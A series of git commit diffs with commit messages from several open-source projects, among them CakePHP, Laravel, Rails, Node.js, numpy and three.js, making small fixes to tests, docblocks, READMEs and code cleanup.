<ide>
<ide> public function testCompatibleBuild() {
<ide> public function testBuildPackage() {
<ide> $pluginPaths = array(
<ide> '/foo/bar',
<del> APP . 'Plugin/',
<del> dirname(dirname(CAKE)) . DS . 'plugins/'
<add> APP . 'Plugin' . DS,
<add> dirname(dirname(CAKE)) . DS . 'plugins' . DS
<ide> );
<ide> App::build(array(
<ide> 'Plugin' => array(
<ide> public function testBuildPackage() {
<ide>
<ide> App::build(array(
<ide> 'Service' => array(
<del> '%s' . 'Service/',
<add> '%s' . 'Service' . DS
<ide> ),
<ide> ), App::REGISTER);
<ide>
<ide> $expected = array(
<del> APP . 'Service/',
<add> APP . 'Service' . DS
<ide> );
<ide> $result = App::path('Service');
<ide> $this->assertEquals($expected, $result);
<ide> public function testPathWithPlugins() {
<ide> Plugin::load('TestPlugin');
<ide>
<ide> $result = App::path('Vendor', 'TestPlugin');
<del> $this->assertEquals($basepath . 'TestPlugin' . DS. 'Vendor' . '/', $result[0]);
<add> $this->assertEquals($basepath . 'TestPlugin' . DS. 'Vendor' . DS, $result[0]);
<ide> }
<ide>
<ide> /**
<ide> public function testPathWithPlugins() {
<ide> public function testBuildWithReset() {
<ide> $old = App::path('Model');
<ide> $expected = array(
<del> APP . 'Model/'
<add> APP . 'Model' . DS
<ide> );
<ide> $this->assertEquals($expected, $old);
<ide>
<ide> public function testThemePath() {
<ide> 'View' => array(CAKE . 'Test' . DS . 'TestApp' . DS . 'View' . DS)
<ide> ));
<ide> $path = App::themePath('test_theme');
<del> $expected = CAKE . 'Test' . DS . 'TestApp' . DS . 'View' . DS . 'Themed' . '/' . 'TestTheme' . DS;
<add> $expected = CAKE . 'Test' . DS . 'TestApp' . DS . 'View' . DS . 'Themed' . DS . 'TestTheme' . DS;
<ide> $this->assertEquals($expected, $path);
<ide>
<ide> $path = App::themePath('TestTheme');
<del> $expected = CAKE . 'Test' . DS . 'TestApp' . DS . 'View' . DS . 'Themed' . '/' . 'TestTheme' . DS;
<add> $expected = CAKE . 'Test' . DS . 'TestApp' . DS . 'View' . DS . 'Themed' . DS . 'TestTheme' . DS;
<ide> $this->assertEquals($expected, $path);
<ide>
<ide> App::build();
<ide><path>lib/Cake/Test/TestCase/Core/PluginTest.php
<ide> class PluginTest extends TestCase {
<ide> public function setUp() {
<ide> parent::setUp();
<ide> App::build(array(
<del> 'Plugin' => array(CAKE . 'Test/TestApp/Plugin/')
<add> 'Plugin' => array(CAKE . 'Test' . DS . 'TestApp' . DS . 'Plugin' . DS)
<ide> ), App::RESET);
<ide> App::objects('Plugin', null, false);
<ide> }
<ide> public function testGetNamespace() {
<ide> $this->assertEquals('TestPlugin', Plugin::getNamespace('TestPlugin'));
<ide>
<ide> App::build(array(
<del> 'Plugin' => array(CAKE . 'Test/TestApp/Plugin2/')
<add> 'Plugin' => array(CAKE . 'Test' . DS . 'TestApp' . DS . 'Plugin2' . DS)
<ide> ), App::RESET);
<ide>
<ide> Plugin::load('TestPluginThree', array('namespace' => 'Company\TestPluginThree'));
<ide> public function testLoadNotFound() {
<ide> */
<ide> public function testPath() {
<ide> Plugin::load(array('TestPlugin', 'TestPluginTwo'));
<del> $expected = CAKE . 'Test/TestApp/Plugin/TestPlugin/';
<add> $expected = CAKE . 'Test' . DS . 'TestApp' . DS . 'Plugin' . DS . 'TestPlugin' . DS;
<ide> $this->assertEquals(Plugin::path('TestPlugin'), $expected);
<ide>
<del> $expected = CAKE . 'Test/TestApp/Plugin/TestPluginTwo/';
<add> $expected = CAKE . 'Test' . DS . 'TestApp' . DS . 'Plugin' . DS . 'TestPluginTwo' . DS;
<ide> $this->assertEquals(Plugin::path('TestPluginTwo'), $expected);
<ide> }
<ide> | 3 |
Text | Text | remove stray period in yamnet readme.md. | a29fcd96c28b3a0050a012a97350afa1f2f89bc8 | <ide><path>research/audioset/yamnet/README.md
<ide> Here's a sample installation and test session:
<ide>
<ide> ```shell
<ide> # Upgrade pip first. Also make sure wheel is installed.
<del>python -m pip install --upgrade pip wheel.
<add>python -m pip install --upgrade pip wheel
<ide>
<ide> # Install dependences.
<ide> pip install numpy resampy tensorflow soundfile | 1 |
PHP | PHP | remove unnecessary parsing | 26903b7781664748d3fa8f273d010d9d4ef38953 | <ide><path>src/Illuminate/Routing/Route.php
<ide> protected function runController()
<ide> */
<ide> public function getController()
<ide> {
<del> $class = $this->parseControllerCallback()[0];
<del>
<del> if (! $this->controller) {
<add> if (! $this->controller) {
<add> $class = $this->parseControllerCallback()[0];
<add>
<ide> $this->controller = $this->container->make($class);
<ide> }
<ide> | 1 |
Python | Python | add __repr__ to more common types | b147e5b7977f7afd34e6d92a706d9af82ce86a19 | <ide><path>libcloud/common/types.py
<ide> def __init__(self, value, body=None, driver=None):
<ide> self.driver = driver
<ide> self.body = body
<ide>
<add> def __str__(self):
<add> return self.__repr__()
<add>
<ide> def __repr__(self):
<ide> return ("<MalformedResponseException in "
<ide> + repr(self.driver)
<ide> def __init__(self, value='Invalid credentials with the provider',
<ide> self.value = value
<ide> self.driver = driver
<ide>
<add> def __str__(self):
<add> return self.__repr__()
<add>
<ide> def __repr__(self):
<ide> return repr(self.value)
<ide> | 1 |
Ruby | Ruby | move some of helper tests to abstractcontroller | 2d514e5352d17c8c3958b26397f1c808c7fa0b3c | <ide><path>actionpack/test/abstract/helper_test.rb
<ide> require 'abstract_unit'
<ide>
<add>ActionController::Base.helpers_dir = File.dirname(__FILE__) + '/../fixtures/helpers'
<add>
<ide> module AbstractController
<ide> module Testing
<ide>
<ide> class ControllerWithHelpers < AbstractController::Base
<ide> include AbstractController::RenderingController
<ide> include Helpers
<del>
<del> def _prefix() end
<ide>
<del> def render(string)
<del> super(:_template_name => string)
<add> def with_module
<add> render :inline => "Module <%= included_method %>"
<ide> end
<del>
<del> append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
<ide> end
<ide>
<ide> module HelperyTest
<ide> def included_method
<ide> end
<ide> end
<ide>
<del> class MyHelpers1 < ControllerWithHelpers
<add> class AbstractHelpers < ControllerWithHelpers
<ide> helper(HelperyTest) do
<ide> def helpery_test
<ide> "World"
<ide> end
<ide> end
<del>
<del> def index
<del> render "helper_test.erb"
<add>
<add> helper :abc
<add>
<add> def with_block
<add> render :inline => "Hello <%= helpery_test %>"
<add> end
<add>
<add> def with_symbol
<add> render :inline => "I respond to bare_a: <%= respond_to?(:bare_a) %>"
<add> end
<add> end
<add>
<add> class AbstractHelpersBlock < ControllerWithHelpers
<add> helper do
<add> include HelperyTest
<ide> end
<ide> end
<del>
<add>
<ide> class TestHelpers < ActiveSupport::TestCase
<del> def test_helpers
<del> controller = MyHelpers1.new
<del> controller.process(:index)
<del> assert_equal "Hello World : Included", controller.response_body
<add>
<add> def setup
<add> @controller = AbstractHelpers.new
<ide> end
<add>
<add> def test_helpers_with_block
<add> @controller.process(:with_block)
<add> assert_equal "Hello World", @controller.response_body
<add> end
<add>
<add> def test_helpers_with_module
<add> @controller.process(:with_module)
<add> assert_equal "Module Included", @controller.response_body
<add> end
<add>
<add> def test_helpers_with_symbol
<add> @controller.process(:with_symbol)
<add> assert_equal "I respond to bare_a: true", @controller.response_body
<add> end
<add>
<add> def test_declare_missing_helper
<add> assert_raise(MissingSourceFile) { AbstractHelpers.helper :missing }
<add> end
<add>
<add> def test_helpers_with_module_through_block
<add> @controller = AbstractHelpersBlock.new
<add> @controller.process(:with_module)
<add> assert_equal "Module Included", @controller.response_body
<add> end
<add>
<ide> end
<ide>
<ide> end
<ide><path>actionpack/test/controller/helper_test.rb
<ide> def test_deprecated_helper
<ide> assert_equal [], missing_methods
<ide> end
<ide>
<del> def test_declare_helper
<del> require 'abc_helper'
<del> self.test_helper = AbcHelper
<del> assert_equal expected_helper_methods, missing_methods
<del> assert_nothing_raised { @controller_class.helper :abc }
<del> assert_equal [], missing_methods
<del> end
<del>
<del> def test_declare_missing_helper
<del> assert_equal expected_helper_methods, missing_methods
<del> assert_raise(MissingSourceFile) { @controller_class.helper :missing }
<del> end
<del>
<del> def test_declare_missing_file_from_helper
<del> require 'broken_helper'
<del> rescue LoadError => e
<del> assert_nil(/\bbroken_helper\b/.match(e.to_s)[1])
<del> end
<del>
<del> def test_helper_block
<del> assert_nothing_raised {
<del> @controller_class.helper { def block_helper_method; end }
<del> }
<del> assert master_helper_methods.include?('block_helper_method')
<del> end
<del>
<del> def test_helper_block_include
<del> assert_equal expected_helper_methods, missing_methods
<del> assert_nothing_raised {
<del> @controller_class.helper { include HelperTest::TestHelper }
<del> }
<del> assert [], missing_methods
<del> end
<del>
<ide> def test_helper_method
<ide> assert_nothing_raised { @controller_class.helper_method :delegate_method }
<ide> assert master_helper_methods.include?('delegate_method') | 2 |
Javascript | Javascript | remove trailing spaces | 1c32e2ab8d0e65bdb9de40b945497f14f9c4de2f | <ide><path>lib/adapters/xhr.js
<ide> module.exports = function xhrAdapter(resolve, reject, config) {
<ide>
<ide> // Clean up request
<ide> requestData = (requestData === undefined)
<del> ? null
<add> ? null
<ide> : requestData;
<del>
<add>
<ide> // Send the request
<ide> request.send(requestData);
<ide> }; | 1 |
PHP | PHP | docblock absolute path | 4105c2dc5da469855e908c4856b551b4084d8fb5 | <ide><path>src/Auth/PasswordHasherFactory.php
<ide> class PasswordHasherFactory
<ide> * @param string|array $passwordHasher Name of the password hasher or an array with
<ide> * at least the key `className` set to the name of the class to use
<ide> * @return \Cake\Auth\AbstractPasswordHasher Password hasher instance
<del> * @throws RuntimeException If password hasher class not found or
<add> * @throws \RuntimeException If password hasher class not found or
<ide> * it does not extend Cake\Auth\AbstractPasswordHasher
<ide> */
<ide> public static function build($passwordHasher)
<ide><path>src/Cache/Cache.php
<ide> public static function write($key, $value, $config = 'default')
<ide> * @param array $data An array of data to be stored in the cache
<ide> * @param string $config Optional string configuration name to write to. Defaults to 'default'
<ide> * @return array of bools for each key provided, indicating true for success or false for fail
<del> * @throws RuntimeException
<add> * @throws \RuntimeException
<ide> */
<ide> public static function writeMany($data, $config = 'default')
<ide> {
<ide><path>src/Controller/Component/CookieComponent.php
<ide> protected function _encrypt($value, $encrypt)
<ide> *
<ide> * @param string $encrypt The cipher name.
<ide> * @return void
<del> * @throws RuntimeException When an invalid cipher is provided.
<add> * @throws \RuntimeException When an invalid cipher is provided.
<ide> */
<ide> protected function _checkCipher($encrypt)
<ide> {
<ide><path>src/Controller/Controller.php
<ide> public function referer($default = null, $local = false)
<ide> * (e.g: Table instance, 'TableName' or a Query object)
<ide> * @return \Cake\ORM\ResultSet Query results
<ide> * @link http://book.cakephp.org/3.0/en/controllers.html#Controller::paginate
<del> * @throws RuntimeException When no compatible table object can be found.
<add> * @throws \RuntimeException When no compatible table object can be found.
<ide> */
<ide> public function paginate($object = null)
<ide> {
<ide><path>src/Database/Query.php
<ide> public function unionAll($query, $overwrite = false)
<ide> * @param array $columns The columns to insert into.
<ide> * @param array $types A map between columns & their datatypes.
<ide> * @return $this
<del> * @throws RuntimeException When there are 0 columns.
<add> * @throws \RuntimeException When there are 0 columns.
<ide> */
<ide> public function insert(array $columns, array $types = [])
<ide> {
<ide><path>src/Datasource/QueryCacher.php
<ide> class QueryCacher
<ide> *
<ide> * @param string|\Closure $key The key or function to generate a key.
<ide> * @param string|CacheEngine $config The cache config name or cache engine instance.
<del> * @throws RuntimeException
<add> * @throws \RuntimeException
<ide> */
<ide> public function __construct($key, $config)
<ide> {
<ide><path>src/I18n/ChainMessagesLoader.php
<ide> public function __construct(array $loaders)
<ide> * the chain.
<ide> *
<ide> * @return \Aura\Intl\Package
<del> * @throws RuntimeException if any of the loaders in the chain is not a valid callable
<add> * @throws \RuntimeException if any of the loaders in the chain is not a valid callable
<ide> */
<ide> public function __invoke()
<ide> {
<ide><path>src/I18n/MessagesFileLoader.php
<ide> public function __construct($name, $locale, $extension = 'po')
<ide> * package containing the messages loaded from the file.
<ide> *
<ide> * @return \Aura\Intl\Package
<del> * @throws RuntimeException if no file parser class could be found for the specified
<add> * @throws \RuntimeException if no file parser class could be found for the specified
<ide> * file extension.
<ide> */
<ide> public function __invoke()
<ide><path>src/I18n/Parser/MoFileParser.php
<ide> class MoFileParser
<ide> * @param resource $resource The file to be parsed.
<ide> *
<ide> * @return array List of messages extracted from the file
<del> * @throws RuntimeException If stream content has an invalid format.
<add> * @throws \RuntimeException If stream content has an invalid format.
<ide> */
<ide> public function parse($resource)
<ide> {
<ide><path>src/Network/Http/Response.php
<ide> public function __construct($headers = [], $body = '')
<ide> *
<ide> * @param string $body Gzip encoded body.
<ide> * @return string
<del> * @throws RuntimeException When attempting to decode gzip content without gzinflate.
<add> * @throws \RuntimeException When attempting to decode gzip content without gzinflate.
<ide> */
<ide> protected function _decodeGzipBody($body)
<ide> {
<ide><path>src/Network/Session.php
<ide> public function engine($class = null, array $options = [])
<ide> *
<ide> * @param array $options Ini options to set.
<ide> * @return void
<del> * @throws RuntimeException if any directive could not be set
<add> * @throws \RuntimeException if any directive could not be set
<ide> */
<ide> public function options(array $options)
<ide> {
<ide> public function options(array $options)
<ide> * Starts the Session.
<ide> *
<ide> * @return bool True if session was started
<del> * @throws RuntimeException if the session was already started
<add> * @throws \RuntimeException if the session was already started
<ide> */
<ide> public function start()
<ide> {
<ide><path>src/ORM/Association.php
<ide> protected function _options(array $options)
<ide> * @param Query $query the query to be altered to include the target table data
<ide> * @param array $options Any extra options or overrides to be taken in account
<ide> * @return void
<del> * @throws RuntimeException if the query builder passed does not return a query
<add> * @throws \RuntimeException if the query builder passed does not return a query
<ide> * object
<ide> */
<ide> public function attachTo(Query $query, array $options = [])
<ide> protected function _bindNewAssociations($query, $surrogate, $options)
<ide> *
<ide> * @param array $options list of options passed to attachTo method
<ide> * @return array
<del> * @throws RuntimeException if the number of columns in the foreignKey do not
<add> * @throws \RuntimeException if the number of columns in the foreignKey do not
<ide> * match the number of columns in the source table primaryKey
<ide> */
<ide> protected function _joinCondition($options)
<ide> protected function _extractFinder($finderData)
<ide> *
<ide> * @param string $property the property name
<ide> * @return \Cake\ORM\Association
<del> * @throws RuntimeException if no association with such name exists
<add> * @throws \RuntimeException if no association with such name exists
<ide> */
<ide> public function __get($property)
<ide> {
<ide><path>src/ORM/Association/BelongsTo.php
<ide> public function saveAssociated(EntityInterface $entity, array $options = [])
<ide> *
<ide> * @param array $options list of options passed to attachTo method
<ide> * @return array
<del> * @throws RuntimeException if the number of columns in the foreignKey do not
<add> * @throws \RuntimeException if the number of columns in the foreignKey do not
<ide> * match the number of columns in the target table primaryKey
<ide> */
<ide> protected function _joinCondition($options)
<ide><path>src/ORM/Association/BelongsToMany.php
<ide> protected function _joinCondition($options)
<ide> * @param \Cake\ORM\Query $fetchQuery The query to get results from
<ide> * @param array $options The options passed to the eager loader
<ide> * @return array
<del> * @throws RuntimeException when the association property is not part of the results set.
<add> * @throws \RuntimeException when the association property is not part of the results set.
<ide> */
<ide> protected function _buildResultMap($fetchQuery, $options)
<ide> {
<ide><path>src/ORM/Behavior/TreeBehavior.php
<ide> class TreeBehavior extends Behavior
<ide> * @param \Cake\Event\Event $event The beforeSave event that was fired
<ide> * @param \Cake\ORM\Entity $entity the entity that is going to be saved
<ide> * @return void
<del> * @throws RuntimeException if the parent to set for the node is invalid
<add> * @throws \RuntimeException if the parent to set for the node is invalid
<ide> */
<ide> public function beforeSave(Event $event, Entity $entity)
<ide> {
<ide> public function beforeDelete(Event $event, Entity $entity)
<ide> * @param \Cake\ORM\Entity $entity The entity to re-parent
<ide> * @param mixed $parent the id of the parent to set
<ide> * @return void
<del> * @throws RuntimeException if the parent to set to the entity is not valid
<add> * @throws \RuntimeException if the parent to set to the entity is not valid
<ide> */
<ide> protected function _setParent($entity, $parent)
<ide> {
<ide><path>src/ORM/Query.php
<ide> public function hydrate($enable = null)
<ide> * {@inheritDoc}
<ide> *
<ide> * @return $this
<del> * @throws RuntimeException When you attempt to cache a non-select query.
<add> * @throws \RuntimeException When you attempt to cache a non-select query.
<ide> */
<ide> public function cache($key, $config = 'default')
<ide> {
<ide> public function cache($key, $config = 'default')
<ide> /**
<ide> * {@inheritDoc}
<ide> *
<del> * @throws RuntimeException if this method is called on a non-select Query.
<add> * @throws \RuntimeException if this method is called on a non-select Query.
<ide> */
<ide> public function all()
<ide> {
<ide><path>src/ORM/Table.php
<ide> public function entityClass($name = null)
<ide> * @param string $name The name of the behavior. Can be a short class reference.
<ide> * @param array $options The options for the behavior to use.
<ide> * @return void
<del> * @throws RuntimeException If a behavior is being reloaded.
<add> * @throws \RuntimeException If a behavior is being reloaded.
<ide> * @see \Cake\ORM\Behavior
<ide> */
<ide> public function addBehavior($name, array $options = [])
<ide> public function save(EntityInterface $entity, $options = [])
<ide> * @param \Cake\Datasource\EntityInterface $entity the entity to be saved
<ide> * @param \ArrayObject $options the options to use for the save operation
<ide> * @return \Cake\Datasource\EntityInterface|bool
<del> * @throws RuntimeException When an entity is missing some of the primary keys.
<add> * @throws \RuntimeException When an entity is missing some of the primary keys.
<ide> */
<ide> protected function _processSave($entity, $options)
<ide> {
<ide> protected function _processSave($entity, $options)
<ide> * @param \Cake\Datasource\EntityInterface $entity the subject entity from were $data was extracted
<ide> * @param array $data The actual data that needs to be saved
<ide> * @return \Cake\Datasource\EntityInterface|bool
<del> * @throws RuntimeException if not all the primary keys where supplied or could
<add> * @throws \RuntimeException if not all the primary keys where supplied or could
<ide> * be generated when the table has composite primary keys. Or when the table has no primary key.
<ide> */
<ide> protected function _insert($entity, $data)
<ide> public function __call($method, $args)
<ide> *
<ide> * @param string $property the association name
<ide> * @return \Cake\ORM\Association
<del> * @throws RuntimeException if no association with such name exists
<add> * @throws \RuntimeException if no association with such name exists
<ide> */
<ide> public function __get($property)
<ide> {
<ide><path>src/ORM/TableRegistry.php
<ide> class TableRegistry
<ide> * @param string|null $alias Name of the alias
<ide> * @param array|null $options list of options for the alias
<ide> * @return array The config data.
<del> * @throws RuntimeException When you attempt to configure an existing table instance.
<add> * @throws \RuntimeException When you attempt to configure an existing table instance.
<ide> */
<ide> public static function config($alias = null, $options = null)
<ide> {
<ide><path>src/Utility/Hash.php
<ide> public static function remove(array $data, $path)
<ide> * @param string|null $groupPath A dot-separated string.
<ide> * @return array Combined array
<ide> * @link http://book.cakephp.org/3.0/en/core-libraries/hash.html#Hash::combine
<del> * @throws RuntimeException When keys and values count is unequal.
<add> * @throws \RuntimeException When keys and values count is unequal.
<ide> */
<ide> public static function combine(array $data, $keyPath, $valuePath = null, $groupPath = null)
<ide> {
<ide><path>src/View/Form/EntityContext.php
<ide> public function __construct(Request $request, array $context)
<ide> * like arrays, Collection objects and ResultSets.
<ide> *
<ide> * @return void
<del> * @throws RuntimeException When a table object cannot be located/inferred.
<add> * @throws \RuntimeException When a table object cannot be located/inferred.
<ide> */
<ide> protected function _prepare()
<ide> {
<ide> protected function _extractMultiple($values, $path)
<ide> * @param array|null $path Each one of the parts in a path for a field name
<ide> * or null to get the entity passed in contructor context.
<ide> * @return \Cake\DataSource\EntityInterface|\Traversable|array|bool
<del> * @throws RuntimeException When properties cannot be read.
<add> * @throws \RuntimeException When properties cannot be read.
<ide> */
<ide> public function entity($path = null)
<ide> {
<ide><path>src/View/Helper/FormHelper.php
<ide> public function context($context = null)
<ide> *
<ide> * @param mixed $data The data to get a context provider for.
<ide> * @return mixed Context provider.
<del> * @throws RuntimeException when the context class does not implement the
<add> * @throws \RuntimeException when the context class does not implement the
<ide> * ContextInterface.
<ide> */
<ide> protected function _getContext($data = [])
<ide><path>src/View/Widget/DateTimeWidget.php
<ide> public function __construct(StringTemplate $templates, SelectBoxWidget $selectBo
<ide> * @param array $data Data to render with.
<ide> * @param \Cake\View\Form\ContextInterface $context The current form context.
<ide> * @return string A generated select box.
<del> * @throws RuntimeException When option data is invalid.
<add> * @throws \RuntimeException When option data is invalid.
<ide> */
<ide> public function render(array $data, ContextInterface $context)
<ide> {
<ide><path>src/View/Widget/WidgetRegistry.php
<ide> public function load($file)
<ide> *
<ide> * @param array $widgets Array of widgets to use.
<ide> * @return void
<del> * @throws RuntimeException When class does not implement WidgetInterface.
<add> * @throws \RuntimeException When class does not implement WidgetInterface.
<ide> */
<ide> public function add(array $widgets)
<ide> {
<ide> public function add(array $widgets)
<ide> *
<ide> * @param string $name The widget name to get.
<ide> * @return WidgetInterface widget interface class.
<del> * @throws RuntimeException when widget is undefined.
<add> * @throws \RuntimeException when widget is undefined.
<ide> */
<ide> public function get($name)
<ide> {
<ide> public function clear()
<ide> *
<ide> * @param mixed $widget The widget to get
<ide> * @return WidgetInterface
<del> * @throws RuntimeException when class cannot be loaded or does not
<add> * @throws \RuntimeException when class cannot be loaded or does not
<ide> * implement WidgetInterface.
<ide> */
<ide> protected function _resolveWidget($widget) | 23 |
Python | Python | fix failing test | 4a42092fb9714f7df78e91d0ba3593304a8ce32a | <ide><path>numpy/distutils/misc_util.py
<ide> def add_data_files(self,*files):
<ide> #. file.txt -> (., file.txt)-> parent/file.txt
<ide> #. foo/file.txt -> (foo, foo/file.txt) -> parent/foo/file.txt
<ide> #. /foo/bar/file.txt -> (., /foo/bar/file.txt) -> parent/file.txt
<del> #. \*.txt -> parent/a.txt, parent/b.txt
<del> #. foo/\*.txt -> parent/foo/a.txt, parent/foo/b.txt
<del> #. \*/\*.txt -> (\*, \*/*.txt) -> parent/c/a.txt, parent/d/b.txt
<add> #. ``*``.txt -> parent/a.txt, parent/b.txt
<add> #. foo/``*``.txt`` -> parent/foo/a.txt, parent/foo/b.txt
<add> #. ``*/*.txt`` -> (``*``, ``*``/``*``.txt) -> parent/c/a.txt, parent/d/b.txt
<ide> #. (sun, file.txt) -> parent/sun/file.txt
<ide> #. (sun, bar/file.txt) -> parent/sun/file.txt
<ide> #. (sun, /foo/bar/file.txt) -> parent/sun/file.txt
<del> #. (sun, \*.txt) -> parent/sun/a.txt, parent/sun/b.txt
<del> #. (sun, bar/\*.txt) -> parent/sun/a.txt, parent/sun/b.txt
<del> #. (sun/\*, \*/\*.txt) -> parent/sun/c/a.txt, parent/d/b.txt
<add> #. (sun, ``*``.txt) -> parent/sun/a.txt, parent/sun/b.txt
<add> #. (sun, bar/``*``.txt) -> parent/sun/a.txt, parent/sun/b.txt
<add> #. (sun/``*``, ``*``/``*``.txt) -> parent/sun/c/a.txt, parent/d/b.txt
<ide>
<ide> An additional feature is that the path to a data-file can actually be
<ide> a function that takes no arguments and returns the actual path(s) to | 1 |
Javascript | Javascript | remove unused global variable | 414a909d01495eed2f6a411965c8984758322664 | <ide><path>lib/url.js
<ide> var protocolPattern = /^([a-z0-9.+-]+:)/i,
<ide> 'javascript': true,
<ide> 'javascript:': true
<ide> },
<del> // protocols that always have a path component.
<del> pathedProtocol = {
<del> 'http': true,
<del> 'https': true,
<del> 'ftp': true,
<del> 'gopher': true,
<del> 'file': true,
<del> 'http:': true,
<del> 'ftp:': true,
<del> 'gopher:': true,
<del> 'file:': true
<del> },
<ide> // protocols that always contain a // bit.
<ide> slashedProtocol = {
<ide> 'http': true, | 1 |
Go | Go | add check that the request is good | e4752c8c1a09fc3cc96dbb9be7183b271db3d6b7 | <ide><path>utils/utils.go
<ide> func GetReleaseVersion() string {
<ide> return ""
<ide> }
<ide> defer resp.Body.Close()
<add> if resp.ContentLength > 24 || resp.StatusCode != 200 {
<add> return ""
<add> }
<ide> body, err := ioutil.ReadAll(resp.Body)
<ide> if err != nil {
<ide> return "" | 1 |
Javascript | Javascript | enforce empty array providers in arvr/js | 6743d15329df1f52527709ce741033de61d56907 | <ide><path>Libraries/Animated/nodes/AnimatedTransform.js
<ide> export default class AnimatedTransform extends AnimatedWithChildren {
<ide> }
<ide>
<ide> __getNativeConfig(): any {
<del> const transConfigs = [];
<add> const transConfigs: Array<any> = [];
<ide>
<ide> this._transforms.forEach(transform => {
<ide> for (const key in transform) {
<ide><path>Libraries/Lists/__flowtests__/SectionList-flowtest.js
<ide> module.exports = {
<ide> },
<ide>
<ide> testBadInheritedDefaultProp(): React.MixedElement {
<del> const sections = [];
<add> const sections: $FlowFixMe = [];
<ide> return (
<ide> <SectionList
<ide> renderItem={renderMyListItem}
<ide><path>Libraries/Network/RCTNetworking.android.js
<ide> type Header = [string, string];
<ide> // Convert FormData headers to arrays, which are easier to consume in
<ide> // native on Android.
<ide> function convertHeadersMapToArray(headers: Object): Array<Header> {
<del> const headerArray = [];
<add> const headerArray: Array<Header> = [];
<ide> for (const name in headers) {
<ide> headerArray.push([name, headers[name]]);
<ide> } | 3 |
Javascript | Javascript | avoid tickdepth warnings on small writes" | bda45a8be1e80bb79343db019e450c1ded2382eb | <ide><path>lib/net.js
<ide> Socket.prototype._write = function(dataEncoding, cb) {
<ide> return this._destroy(errnoException(errno, 'write'), cb);
<ide>
<ide> writeReq.oncomplete = afterWrite;
<del> writeReq.cb = cb;
<ide> this._bytesDispatched += writeReq.bytes;
<add>
<add> // If it was entirely flushed, we can write some more right now.
<add> // However, if more is left in the queue, then wait until that clears.
<add> if (this._handle.writeQueueSize === 0)
<add> cb();
<add> else
<add> writeReq.cb = cb;
<ide> };
<ide>
<ide> function createWriteReq(handle, data, encoding) {
<ide><path>test/simple/test-net-many-small-writes.js
<del>// Copyright Joyent, Inc. and other Node contributors.
<del>//
<del>// Permission is hereby granted, free of charge, to any person obtaining a
<del>// copy of this software and associated documentation files (the
<del>// "Software"), to deal in the Software without restriction, including
<del>// without limitation the rights to use, copy, modify, merge, publish,
<del>// distribute, sublicense, and/or sell copies of the Software, and to permit
<del>// persons to whom the Software is furnished to do so, subject to the
<del>// following conditions:
<del>//
<del>// The above copyright notice and this permission notice shall be included
<del>// in all copies or substantial portions of the Software.
<del>//
<del>// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
<del>// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
<del>// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
<del>// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
<del>// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
<del>// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
<del>// USE OR OTHER DEALINGS IN THE SOFTWARE.
<del>
<del>var common = require('../common');
<del>var assert = require('assert');
<del>
<del>// make sure we get no tickDepth warnings.
<del>
<del>if (process.argv[2] === 'child')
<del> child();
<del>else
<del> parent();
<del>
<del>function parent() {
<del> var spawn = require('child_process').spawn;
<del> var node = process.execPath;
<del> var child = spawn(node, [__filename, 'child']);
<del>
<del> child.stdout.pipe(process.stdout);
<del>
<del> child.stderr.setEncoding('utf8');
<del> var err = '';
<del> child.stderr.on('data', function(c) {
<del> err += c;
<del> });
<del> var gotClose = false;
<del> child.on('close', function(code) {
<del> assert(!code);
<del> assert.equal(err, '');
<del> gotClose = true;
<del> });
<del> process.on('exit', function() {
<del> assert(gotClose);
<del> console.log('PARENT: ok');
<del> });
<del>}
<del>
<del>function child() {
<del> var net = require('net');
<del> process.maxTickDepth = 10;
<del> var server = net.createServer(function(sock) {
<del> var i = 0;
<del> w();
<del> function w() {
<del> if (++i < 100)
<del> sock.write(new Buffer(1), w);
<del> else
<del> sock.end();
<del> }
<del> });
<del> server.listen(common.PORT);
<del>
<del> var finished = false;
<del> var client = net.connect(common.PORT);
<del> client.resume();
<del> client.on('end', function() {
<del> server.close(function() {
<del> finished = true;
<del> });
<del> });
<del>
<del> process.on('exit', function() {
<del> assert(finished);
<del> console.log('CHILD: ok');
<del> });
<del>} | 2 |
Text | Text | remove reference to docker/libcontainer | 691e3a3e7070ca43a9ad8f5f99c2563ccdce98a5 | <ide><path>docs/project/who-written-for.md
<ide> parent = "smn_develop"
<ide> +++
<ide> <![end-metadata]-->
<ide>
<del># README first
<add># README first
<ide>
<ide> This section of the documentation contains a guide for Docker users who want to
<ide> contribute code or documentation to the Docker project. As a community, we
<ide> target="_blank">community guidelines</a> before continuing.
<ide>
<ide> The Docker project consists of not just one but several repositories on GitHub.
<ide> So, in addition to the `docker/docker` repository, there is the
<del>`docker/libcontainer` repo, the `docker/machine` repo, and several more.
<add>`docker/compose` repo, the `docker/machine` repo, and several more.
<ide> Contribute to any of these and you contribute to the Docker project.
<ide>
<ide> Not all Docker repositories use the Go language. Also, each repository has its | 1 |
Javascript | Javascript | adopt sphere.js and box3.js in geometry.js | cb2b5cece276091dd253935e698621c3918a8913 | <ide><path>src/core/Box3.js
<ide> THREE.Box3.fromPoints = function ( points ) {
<ide>
<ide> var boundingBox = new THREE.Box3();
<del> for( var i = 0; i < points.length; i ++ ) {
<add> for( var i = 0, numPoints = points.length; i < numPoints; i ++ ) {
<ide> boundingBox.extendByPoint( points[i] );
<ide> }
<ide>
<ide><path>src/core/Geometry.js
<ide> * @author alteredq / http://alteredqualia.com/
<ide> * @author mikael emtinger / http://gomo.se/
<ide> * @author zz85 / http://www.lab4games.net/zz85/blog
<add> * @author Ben Houston / ben@exocortex.com / http://github.com/bhouston
<ide> */
<ide>
<ide> THREE.Geometry = function () {
<ide> THREE.Geometry.prototype = {
<ide>
<ide> computeBoundingBox: function () {
<ide>
<del> if ( ! this.boundingBox ) {
<del>
<del> this.boundingBox = { min: new THREE.Vector3(), max: new THREE.Vector3() };
<del>
<del> }
<del>
<del> if ( this.vertices.length > 0 ) {
<del>
<del> var position, firstPosition = this.vertices[ 0 ];
<del>
<del> this.boundingBox.min.copy( firstPosition );
<del> this.boundingBox.max.copy( firstPosition );
<del>
<del> var min = this.boundingBox.min,
<del> max = this.boundingBox.max;
<del>
